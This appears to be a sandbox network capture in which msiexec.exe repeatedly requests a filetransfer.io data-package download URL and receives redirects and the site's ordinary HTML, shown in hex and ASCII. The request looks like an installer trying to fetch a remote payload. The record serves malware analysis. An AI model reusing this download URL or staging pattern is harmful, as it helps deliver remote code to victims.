2025-01-10 19:14:43 UTC	1369	IN	Data Raw: 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 Data Ascii: GES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@s
2025-01-10 19:14:43 UTC	1356	IN	Data Raw: 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e Data Ascii: witch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span
2025-01-10 19:14:43 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:14:43 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:14:43 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	57963	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:44 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:44 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:44 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:44 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5qqIuPfi4vA7o4sefcDwCQWsmmK6Y2q4PlPHRqwBX%2BDpU8sPXBCvjSISGAtoaRl5v3OW1DsKOIgjoHrvUXeg%2BYgIB6xr0H7EPa8VSzdsuPtaJmPs04%2FZsFwI3PelhT2CRFk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefde54db418b8-EWR
2025-01-10 19:14:44 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	57964	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:45 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:45 UTC	984	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 13ICqrpnvIEvEr4c15TeOppOZphS7XVTneOdQXNEFFwlU1XSQ+3mvu6hFfDY+2GI4DzND/Ql+ssqMoQqUsRts9/f90x8fLVx95F2KCVKAmc= x-amz-request-id: 0DZ6CX7Q2BVBHJR2 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ClBEg9xAs0VMZXZHCFLyG%2F5%2BJ%2Ffc96bf%2BOIjc4dUsocZKB2GdRbwsFKztvSSzcBkuWXOLl%2B5G5jHEk71zT9YdCOlQAeS41EvyE9G9jtSp3%2FHCdmTuw2NuJ8hBxr%2BbHB0LBo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefde90fc13314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1818&min_rtt=1809&rtt_var=685&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1614151&cwnd=212&unsent_bytes=0&cid=c0e1f2e542fc075a&ts=190&x=0"
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 32 31 38 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2183<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:45 UTC	373	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 32 61 34 63 0d 0a 0a 09 09 09 3c 2f 75 6c 3e 0a 09 09 3c 2f 6e 61 76 3e 0a 0a 09 09 3c 2f 64 69 76 3e 3c 2f 68 65 61 64 65 72 3e 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 Data Ascii: 2a4c</ul></nav></div></header><hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 63 6f 6e 2d 75 70 6c 6f 61 64 22 3e 3c 2f 73 70 61 6e 3e 0a 0a 09 09 09 09 09 09 09 53 65 6e 64 20 66 69 6c 65 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 Data Ascii: con-upload"></span>Send files</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size
2025-01-10 19:14:45 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e Data Ascii: </div>... .alert --><div class="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	57965	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:46 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:46 UTC	627	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:46 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:46 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=18sY5bNGQItpTZdaMKJvX4C%2B5X0346bNaSor0iCc8dOyKbYb4caxES6uGcoo%2BaH7CA3h%2FNYZH9KNgQcrIrp%2B%2FB6FBsplkWRll18IxDhSH30xoMrsh%2Ba%2FZ%2BMX%2BrToYe5uZg8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdeedb5218f6-EWR
2025-01-10 19:14:46 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	57966	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:46 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:46 UTC	940	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: GB+K/DVcLzahHyavBXxqILioffIPA3vvQKA5/Kj/ubJkKEmgfk0BJrC/92HnNCSromEWH6GBB1Q= x-amz-request-id: EK8QCJWXY0A59N41 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p6WeHgyWHlUIEfDZ6pWaDHRU353YQggJ7QIf6z9XHheEYkQYUDPj0Wp9lDwU5fRNbpol%2Fh8yod5KWSVQe9C17h4TbYVIJHqjAdmrst3pDVTjTTpbaILXcb8FxlJf4JoBWuQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdf2c9564316-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1681&min_rtt=1669&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1650650&cwnd=178&unsent_bytes=0&cid=dbc9b5f9f9919419&ts=209&x=0"
